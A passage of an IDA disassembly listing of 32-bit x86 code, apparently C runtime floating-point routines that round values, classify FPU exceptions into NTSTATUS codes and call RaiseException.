sub_426140+7j pop ebp retn sub_426140 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426160 proc near ; CODE XREF: sub_424CA0+E3p ; sub_424CA0+353p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_426164: ; CODE XREF: sub_426160+30j mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_4] push eax call sub_4260E0 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41E200 add esp, 4 test eax, eax jz short loc_426192 jmp short loc_426164 ; --------------------------------------------------------------------------- loc_426192: ; CODE XREF: sub_426160+2Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_426160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4261A0(double) sub_4261A0 proc near ; CODE XREF: sub_41CCD0+C3p ; sub_41CEF0+C3p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4261A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4261C0(int,double,int) sub_4261C0 proc near ; CODE XREF: sub_41CCD0+85p ; sub_41CEF0+85p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_451D10, 0 jnz short loc_4261F4 mov eax, [ebp+arg_C] push eax ; int mov ecx, [ebp+10h] push ecx mov edx, [ebp+arg_4] push edx ; double push 0 ; int push 0 ; int mov eax, [ebp+10h] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_0] push edx ; int push 1 ; int call sub_426C70 add esp, 24h jmp short loc_426213 ; --------------------------------------------------------------------------- loc_4261F4: ; CODE XREF: sub_4261C0+Aj call sub_4248A0 mov dword ptr [eax], 21h push 0FFFFh mov eax, [ebp+arg_C] push eax call sub_427100 add esp, 8 fld qword ptr [ebp+arg_4] loc_426213: ; CODE XREF: sub_4261C0+32j pop ebp retn sub_4261C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 fld qword ptr [ebp+0Ch] fadd qword ptr [ebp+14h] fstp qword ptr [ebp-8] cmp dword_451D10, 0 jnz short loc_426264 mov eax, [ebp+1Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-8] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx push 1 call sub_426C70 add esp, 24h jmp short loc_426283 ; --------------------------------------------------------------------------- loc_426264: ; CODE XREF: .nsp0:00426236j call sub_4248A0 mov dword ptr [eax], 21h push 0FFFFh mov edx, [ebp+1Ch] push edx call sub_427100 add esp, 8 fld qword ptr [ebp-8] loc_426283: ; CODE XREF: .nsp0:00426262j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_426290(int,int,int,int,double,int) sub_426290 proc near ; CODE XREF: sub_41CCD0+B1p ; sub_41CCD0+129p ... var_5C = byte ptr -5Ch var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+arg_18] push eax lea ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_0] push edx call sub_4268F0 add esp, 0Ch test eax, eax jnz short loc_4262D6 mov eax, [ebp+var_24] and al, 0FEh mov [ebp+var_24], eax lea ecx, [ebp+arg_10] push ecx lea edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+arg_18] push edx lea eax, [ebp+var_5C] push eax call sub_426420 add esp, 18h loc_4262D6: ; CODE XREF: sub_426290+1Cj mov ecx, [ebp+arg_0] push ecx call sub_426D90 add esp, 4 mov [ebp+var_4], eax cmp dword_451D10, 0 jnz short loc_42631E cmp [ebp+var_4], 0 jz short loc_42631E mov edx, [ebp+arg_18] push edx ; int mov eax, dword ptr [ebp+arg_10+4] push eax mov ecx, dword ptr [ebp+arg_10] push ecx ; double push 0 ; int push 0 ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+var_4] push edx ; int call sub_426C70 add esp, 24h jmp short loc_42633E ; --------------------------------------------------------------------------- loc_42631E: ; CODE XREF: sub_426290+5Cj ; sub_426290+62j mov eax, [ebp+var_4] push eax call sub_426D10 add esp, 4 push 0FFFFh mov ecx, [ebp+arg_18] push ecx call sub_427100 add esp, 8 fld [ebp+arg_10] loc_42633E: ; CODE XREF: sub_426290+8Cj mov esp, ebp pop ebp retn sub_426290 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+28h] push eax lea ecx, [ebp+20h] push ecx mov edx, [ebp+8] push edx call sub_4268F0 add esp, 0Ch test eax, eax jnz short loc_4263AE mov eax, [ebp-24h] or al, 1 mov [ebp-24h], eax mov ecx, [ebp-24h] and ecx, 0FFFFFFE1h or ecx, 2 mov [ebp-24h], ecx mov edx, [ebp+18h] mov [ebp-34h], edx mov eax, [ebp+1Ch] mov [ebp-30h], eax lea ecx, [ebp+20h] push ecx lea edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx lea edx, [ebp+28h] push edx lea eax, [ebp-5Ch] push eax call sub_426420 add esp, 18h loc_4263AE: ; CODE XREF: .nsp0:0042636Cj mov ecx, [ebp+8] push ecx call sub_426D90 add esp, 4 mov [ebp-4], eax cmp dword_451D10, 0 jnz short loc_4263FA cmp dword ptr [ebp-4], 0 jz short loc_4263FA mov edx, [ebp+28h] push edx mov eax, [ebp+24h] push eax mov ecx, [ebp+20h] push ecx mov edx, [ebp+1Ch] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx call sub_426C70 add esp, 24h jmp short loc_42641A ; --------------------------------------------------------------------------- loc_4263FA: ; CODE XREF: .nsp0:004263C4j ; .nsp0:004263CAj mov edx, [ebp-4] push edx call sub_426D10 add esp, 4 push 0FFFFh mov eax, [ebp+28h] push eax call sub_427100 add esp, 8 fld qword ptr [ebp+20h] loc_42641A: ; CODE XREF: .nsp0:004263F8j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426420 proc near ; CODE XREF: sub_426290+3Ep ; .nsp0:004263A6p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz short loc_426464 mov [ebp+var_4], 0C000008Fh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_426464: ; CODE XREF: sub_426420+2Cj mov ecx, [ebp+arg_8] and ecx, 2 test ecx, ecx jz short loc_426483 mov [ebp+var_4], 0C0000093h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 2 mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_426483: ; CODE XREF: sub_426420+4Cj mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_4264A3 mov [ebp+var_4], 0C0000091h mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+4], ecx loc_4264A3: ; CODE XREF: sub_426420+6Bj mov eax, [ebp+arg_8] and eax, 4 test eax, eax jz short loc_4264C3 mov [ebp+var_4], 0C000008Eh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 8 mov eax, [ebp+arg_0] mov [eax+4], edx loc_4264C3: ; CODE XREF: sub_426420+8Bj mov ecx, [ebp+arg_8] and ecx, 8 test ecx, ecx jz short loc_4264E2 mov [ebp+var_4], 0C0000090h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 10h mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_4264E2: ; CODE XREF: sub_426420+ABj mov edx, [ebp+arg_4] mov eax, [edx] and eax, 1 neg eax sbb eax, eax inc eax and eax, 1 shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFEFh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 4 neg edx sbb edx, edx inc edx and edx, 1 shl edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFF7h or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 8 neg ecx sbb ecx, ecx inc ecx and ecx, 1 shl ecx, 2 mov edx, [ebp+arg_0] mov eax, [edx+8] and al, 0FBh or eax, ecx mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [edx] and eax, 10h neg eax sbb eax, eax inc eax and eax, 1 shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFFDh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 20h neg edx sbb edx, edx inc edx and edx, 1 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFFEh or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx call sub_4270C0 mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, 1 test eax, eax jz short loc_4265B2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_4265B2: ; CODE XREF: sub_426420+181j mov ecx, [ebp+var_8] and ecx, 4 test ecx, ecx jz short loc_4265CA mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 8 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_4265CA: ; CODE XREF: sub_426420+19Aj mov edx, [ebp+var_8] and edx, 8 test edx, edx jz short loc_4265E3 mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+0Ch], ecx loc_4265E3: ; CODE XREF: sub_426420+1B2j mov eax, [ebp+var_8] and eax, 10h test eax, eax jz short loc_4265FC mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_4265FC: ; CODE XREF: sub_426420+1CBj mov ecx, [ebp+var_8] and ecx, 20h test ecx, ecx jz short loc_426614 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_426614: ; CODE XREF: sub_426420+1E4j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 0C00h mov [ebp+var_C], eax cmp [ebp+var_C], 800h ja short loc_426644 cmp [ebp+var_C], 800h jz short loc_42665E cmp [ebp+var_C], 0 jz short loc_426682 cmp [ebp+var_C], 400h jz short loc_426670 jmp short loc_42668F ; --------------------------------------------------------------------------- loc_426644: ; CODE XREF: sub_426420+208j cmp [ebp+var_C], 0C00h jz short loc_42664F jmp short loc_42668F ; --------------------------------------------------------------------------- loc_42664F: ; CODE XREF: sub_426420+22Bj mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, 3 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42668F ; --------------------------------------------------------------------------- loc_42665E: ; CODE XREF: sub_426420+211j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 2 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42668F ; --------------------------------------------------------------------------- loc_426670: ; CODE XREF: sub_426420+220j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42668F ; --------------------------------------------------------------------------- loc_426682: ; CODE XREF: sub_426420+217j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh mov eax, [ebp+arg_0] mov [eax], edx loc_42668F: ; CODE XREF: sub_426420+222j ; sub_426420+22Dj ... mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 300h mov [ebp+var_10], edx cmp [ebp+var_10], 0 jz short loc_4266D8 cmp [ebp+var_10], 200h jz short loc_4266C6 cmp [ebp+var_10], 300h jz short loc_4266B7 jmp short loc_4266E8 ; --------------------------------------------------------------------------- loc_4266B7: ; CODE XREF: sub_426420+293j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_4266E8 ; --------------------------------------------------------------------------- loc_4266C6: ; CODE XREF: sub_426420+28Aj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_4266E8 ; --------------------------------------------------------------------------- loc_4266D8: ; CODE XREF: sub_426420+281j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx loc_4266E8: ; CODE XREF: sub_426420+295j ; sub_426420+2A4j ... mov eax, [ebp+arg_C] and eax, 0FFFh shl eax, 5 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFE001Fh or edx, eax mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] or edx, 1 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] and edx, 0FFFFFFE1h or edx, 2 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_10] mov eax, [edx] mov [ecx+10h], eax mov edx, [edx+4] mov [ecx+14h], edx mov eax, [ebp+arg_0] mov ecx, [eax+50h] or ecx, 1 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE1h or ecx, 2 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_14] mov edx, [ecx] mov [eax+40h], edx mov ecx, [ecx+4] mov [eax+44h], ecx call sub_4270E0 lea edx, [ebp+arg_0] push edx push 1 push 0 mov eax, [ebp+var_4] push eax call dword_4F14BC ; RaiseException mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 4 and edx, 1 test edx, edx jz short loc_42679D mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+arg_4] mov [edx], ecx loc_42679D: ; CODE XREF: sub_426420+36Ej mov eax, [ebp+arg_0] mov ecx, [eax+8] shr ecx, 3 and ecx, 1 test ecx, ecx jz short loc_4267B9 mov edx, [ebp+arg_4] mov eax, [edx] and al, 0FBh mov ecx, [ebp+arg_4] mov [ecx], eax loc_4267B9: ; CODE XREF: sub_426420+38Bj mov edx, [ebp+arg_0] mov eax, [edx+8] shr eax, 2 and eax, 1 test eax, eax jz short loc_4267D6 mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 0FFFFFFF7h mov eax, [ebp+arg_4] mov [eax], edx loc_4267D6: ; CODE XREF: sub_426420+3A7j mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 and edx, 1 test edx, edx jz short loc_4267F2 mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFEFh mov edx, [ebp+arg_4] mov [edx], ecx loc_4267F2: ; CODE XREF: sub_426420+3C3j mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 test ecx, ecx jz short loc_42680B mov edx, [ebp+arg_4] mov eax, [edx] and al, 0DFh mov ecx, [ebp+arg_4] mov [ecx], eax loc_42680B: ; CODE XREF: sub_426420+3DDj mov edx, [ebp+arg_0] mov eax, [edx] and eax, 3 mov [ebp+var_14], eax cmp [ebp+var_14], 3 ja short loc_426869 mov ecx, [ebp+var_14] jmp off_4268D1[ecx*4] loc_426826: ; DATA XREF: .nsp0:004268DDo mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 0Ch mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_426869 ; --------------------------------------------------------------------------- loc_426838: ; CODE XREF: sub_426420+3FFj ; DATA XREF: .nsp0:004268D9o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 8 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_426869 ; --------------------------------------------------------------------------- loc_42684A: ; CODE XREF: sub_426420+3FFj ; DATA XREF: .nsp0:004268D5o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 4 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_426869 ; --------------------------------------------------------------------------- loc_42685C: ; CODE XREF: sub_426420+3FFj ; DATA XREF: .nsp0:off_4268D1o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h mov ecx, [ebp+arg_4] mov [ecx], eax loc_426869: ; CODE XREF: sub_426420+3FAj ; sub_426420+416j ... mov edx, [ebp+arg_0] mov eax, [edx] shr eax, 2 and eax, 7 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_42688B cmp [ebp+var_18], 1 jz short loc_42689D cmp [ebp+var_18], 2 jz short loc_4268AF jmp short loc_4268BC ; --------------------------------------------------------------------------- loc_42688B: ; CODE XREF: sub_426420+45Bj mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 3 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_4268BC ; --------------------------------------------------------------------------- loc_42689D: ; CODE XREF: sub_426420+461j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 2 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_4268BC ; --------------------------------------------------------------------------- loc_4268AF: ; CODE XREF: sub_426420+467j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h mov eax, [ebp+arg_4] mov [eax], edx loc_4268BC: ; CODE XREF: sub_426420+469j ; sub_426420+47Bj ... mov ecx, [ebp+arg_0] mov edx, [ebp+arg_14] mov eax, [ecx+40h] mov [edx], eax mov ecx, [ecx+44h] mov [edx+4], ecx mov esp, ebp pop ebp retn sub_426420 endp ; --------------------------------------------------------------------------- off_4268D1 dd offset loc_42685C ; DATA XREF: sub_426420+3FFr dd offset loc_42684A dd offset loc_426838 dd offset loc_426826 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268F0 proc near ; CODE XREF: sub_426290+12p ; .nsp0:00426362p var_44 = dword ptr -44h var_40 = qword ptr -40h var_38 = qword ptr -38h var_30 = qword ptr -30h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_0] and eax, 1Fh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42692A mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_42692A push 1 call sub_427140 add esp, 4 mov eax, [ebp+var_4] and al, 0F7h mov [ebp+var_4], eax jmp loc_426C2E ; --------------------------------------------------------------------------- loc_42692A: ; CODE XREF: sub_4268F0+17j ; sub_4268F0+21j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_426955 mov edx, [ebp+arg_8] and edx, 4 test edx, edx jz short loc_426955 push 4 call sub_427140 add esp, 4 mov eax, [ebp+var_4] and al, 0FBh mov [ebp+var_4], eax jmp loc_426C2E ; --------------------------------------------------------------------------- loc_426955: ; CODE XREF: sub_4268F0+42j ; sub_4268F0+4Cj mov ecx, [ebp+arg_0] and ecx, 1 test ecx, ecx jz loc_426AD1 mov edx, [ebp+arg_8] and edx, 8 test edx, edx jz loc_426AD1 push 8 call sub_427140 add esp, 4 mov eax, [ebp+arg_8] and eax, 0C00h mov [ebp+var_20], eax cmp [ebp+var_20], 800h ja short loc_4269B0 cmp [ebp+var_20], 800h jz short loc_426A05 cmp [ebp+var_20], 0 jz short loc_4269C2 cmp [ebp+var_20], 400h jz loc_426A45 jmp loc_426AC3 ; --------------------------------------------------------------------------- loc_4269B0: ; CODE XREF: sub_4268F0+9Dj cmp [ebp+var_20], 0C00h jz loc_426A85 jmp loc_426AC3 ; --------------------------------------------------------------------------- loc_4269C2: ; CODE XREF: sub_4268F0+ACj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_438198 fnstsw ax test ah, 41h jnz short loc_4269E7 mov edx, dword ptr dbl_451A08 mov dword ptr [ebp+var_28], edx mov eax, dword ptr dbl_451A08+4 mov dword ptr [ebp+var_28+4], eax jmp short loc_4269F2 ; --------------------------------------------------------------------------- loc_4269E7: ; CODE XREF: sub_4268F0+E2j fld dbl_451A08 fchs fstp [ebp+var_28] loc_4269F2: ; CODE XREF: sub_4268F0+F5j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_28] mov [ecx], edx mov eax, dword ptr [ebp+var_28+4] mov [ecx+4], eax jmp loc_426AC3 ; --------------------------------------------------------------------------- loc_426A05: ; CODE XREF: sub_4268F0+A6j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_438198 fnstsw ax test ah, 41h jnz short loc_426A2A mov edx, dword ptr dbl_451A08 mov dword ptr [ebp+var_30], edx mov eax, dword ptr dbl_451A08+4 mov dword ptr [ebp+var_30+4], eax jmp short loc_426A35 ; --------------------------------------------------------------------------- loc_426A2A: ; CODE XREF: sub_4268F0+125j fld dbl_451A18 fchs fstp [ebp+var_30] loc_426A35: ; CODE XREF: sub_4268F0+138j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_30] mov [ecx], edx mov eax, dword ptr [ebp+var_30+4] mov [ecx+4], eax jmp short loc_426AC3 ; --------------------------------------------------------------------------- loc_426A45: ; CODE XREF: sub_4268F0+B5j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_438198 fnstsw ax test ah, 41h jnz short loc_426A6A mov edx, dword ptr dbl_451A18 mov dword ptr [ebp+var_38], edx mov eax, dword ptr dbl_451A18+4 mov dword ptr [ebp+var_38+4], eax jmp short loc_426A75 ; --------------------------------------------------------------------------- loc_426A6A: ; CODE XREF: sub_4268F0+165j fld dbl_451A08 fchs fstp [ebp+var_38] loc_426A75: ; CODE XREF: sub_4268F0+178j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_38] mov [ecx], edx mov eax, dword ptr [ebp+var_38+4] mov [ecx+4], eax jmp short loc_426AC3 ; --------------------------------------------------------------------------- loc_426A85: ; CODE XREF: sub_4268F0+C7j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_438198 fnstsw ax test ah, 41h jnz short loc_426AAA mov edx, dword ptr dbl_451A18 mov dword ptr [ebp+var_40], edx mov eax, dword ptr dbl_451A18+4 mov dword ptr [ebp+var_40+4], eax jmp short loc_426AB5 ; --------------------------------------------------------------------------- loc_426AAA: ; CODE XREF: sub_4268F0+1A5j fld dbl_451A18 fchs fstp [ebp+var_40] loc_426AB5: ; CODE XREF: sub_4268F0+1B8j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_40] mov [ecx], edx mov eax, dword ptr [ebp+var_40+4] mov [ecx+4], eax loc_426AC3: ; CODE XREF: sub_4268F0+BBj ; sub_4268F0+CDj ... mov ecx, [ebp+var_4] and ecx, 0FFFFFFFEh mov [ebp+var_4], ecx jmp loc_426C2E ; --------------------------------------------------------------------------- loc_426AD1: ; CODE XREF: sub_4268F0+6Dj ; sub_4268F0+7Bj mov edx, [ebp+arg_0] and edx, 2 test edx, edx jz loc_426C2E mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz loc_426C2E mov [ebp+var_8], 0 mov ecx, [ebp+arg_0] and ecx, 10h test ecx, ecx jz short loc_426B05 mov [ebp+var_8], 1 loc_426B05: ; CODE XREF: sub_4268F0+20Cj mov edx, [ebp+arg_4] fld qword ptr [edx] fcomp dbl_438198 fnstsw ax test ah, 40h jnz loc_426C0E lea eax, [ebp+var_18] push eax ; int mov ecx, [ebp+arg_4] mov edx, [ecx+4] push edx mov eax, [ecx] push eax ; double call sub_426F80 add esp, 0Ch fstp [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, 600h mov [ebp+var_14], ecx cmp [ebp+var_14], 0FFFFFBCEh jge short loc_426B61 fld [ebp+var_10] fmul dbl_438198 fstp [ebp+var_10] mov [ebp+var_8], 1 jmp loc_426BFE ; --------------------------------------------------------------------------- loc_426B61: ; CODE XREF: sub_4268F0+257j fld [ebp+var_10] fcomp dbl_438198 fnstsw ax test ah, 1 jz short loc_426B7A mov [ebp+var_44], 1 jmp short loc_426B81 ; --------------------------------------------------------------------------- loc_426B7A: ; CODE XREF: sub_4268F0+27Fj mov [ebp+var_44], 0 loc_426B81: ; CODE XREF: sub_4268F0+288j mov edx, [ebp+var_44] mov [ebp+var_1C], edx mov ax, word ptr [ebp+var_10+6] and ax, 0Fh mov word ptr [ebp+var_10+6], ax mov cx, word ptr [ebp+var_10+6] or cl, 10h mov word ptr [ebp+var_10+6], cx jmp short loc_426BA9 ; --------------------------------------------------------------------------- loc_426BA0: ; CODE XREF: sub_4268F0+2FEj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_426BA9: ; CODE XREF: sub_4268F0+2AEj cmp [ebp+var_14], 0FFFFFC03h jge short loc_426BF0 mov eax, dword ptr [ebp+var_10] and eax, 1 test eax, eax jz short loc_426BC9 cmp [ebp+var_8], 0 jnz short loc_426BC9 mov [ebp+var_8], 1 loc_426BC9: ; CODE XREF: sub_4268F0+2CAj ; sub_4268F0+2D0j mov ecx, dword ptr [ebp+var_10] shr ecx, 1 mov dword ptr [ebp+var_10], ecx mov edx, dword ptr [ebp+var_10+4] and edx, 1 test edx, edx jz short loc_426BE6 mov eax, dword ptr [ebp+var_10] or eax, 80000000h mov dword ptr [ebp+var_10], eax loc_426BE6: ; CODE XREF: sub_4268F0+2E9j mov ecx, dword ptr [ebp+var_10+4] shr ecx, 1 mov dword ptr [ebp+var_10+4], ecx jmp short loc_426BA0 ; --------------------------------------------------------------------------- loc_426BF0: ; CODE XREF: sub_4268F0+2C0j cmp [ebp+var_1C], 0 jz short loc_426BFE fld [ebp+var_10] fchs fstp [ebp+var_10] loc_426BFE: ; CODE XREF: sub_4268F0+26Cj ; sub_4268F0+304j mov edx, [ebp+arg_4] mov eax, dword ptr [ebp+var_10] mov [edx], eax mov ecx, dword ptr [ebp+var_10+4] mov [edx+4], ecx jmp short loc_426C15 ; --------------------------------------------------------------------------- loc_426C0E: ; CODE XREF: sub_4268F0+225j mov [ebp+var_8], 1 loc_426C15: ; CODE XREF: sub_4268F0+31Cj cmp [ebp+var_8], 0 jz short loc_426C25 push 10h call sub_427140 add esp, 4 loc_426C25: ; CODE XREF: sub_4268F0+329j mov edx, [ebp+var_4] and edx, 0FFFFFFFDh mov [ebp+var_4], edx loc_426C2E: ; CODE XREF: sub_4268F0+35j ; sub_4268F0+60j ... mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_426C55 mov ecx, [ebp+arg_8] and ecx, 20h test ecx, ecx jz short loc_426C55 push 20h call sub_427140 add esp, 4 mov edx, [ebp+var_4] and edx, 0FFFFFFEFh mov [ebp+var_4], edx loc_426C55: ; CODE XREF: sub_4268F0+346j ; sub_4268F0+350j xor eax, eax cmp [ebp+var_4], 0 setz al mov esp, ebp pop ebp retn sub_4268F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_426C70(int,int,int,int,int,int,double,int) sub_426C70 proc near ; CODE XREF: sub_4261C0+2Ap ; .nsp0:0042625Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push eax call sub_426D50 add 